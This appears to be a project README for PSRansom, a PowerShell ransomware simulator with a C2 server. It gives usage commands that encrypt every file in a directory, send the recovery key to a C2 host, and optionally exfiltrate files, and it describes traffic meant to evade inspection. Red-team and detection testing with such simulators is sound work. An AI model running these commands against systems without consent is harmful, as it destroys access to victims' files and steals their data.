PSRansom - PowerShell Ransomware Simulator With C2 Server

PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.

All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.

PowerShell 4.0 or greater

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSRansom

.\PSRansom -h

____ ____ ____
| _ \/ ___|| _ \ __ _ _ __ ___ ___ _ __ ___
| |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \
| __/ ___) | _ < (_| | | | \__ \ (_) | | | | | |
|_| |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_|

----------------- by @JoelGMSec ----------------

Info: This tool helps you simulate encryption process of a
generic ransomware in PowerShell with C2 capabilities

Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port
Encrypt all files & sends recovery key to C2Server
Use -x to exfiltrate and decrypt files on C2Server

.\RansomShell.ps1 -d Directory -k RecoveryKey
Decrypt all files with recovery key string

Warning: All info will be sent to the C2Server without any encryption
You need previously generated recovery key to retrieve files

The detailed guide of use can be found at the following link:

https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.

PSRansom - PowerShell Ransomware Simulator With C2 Server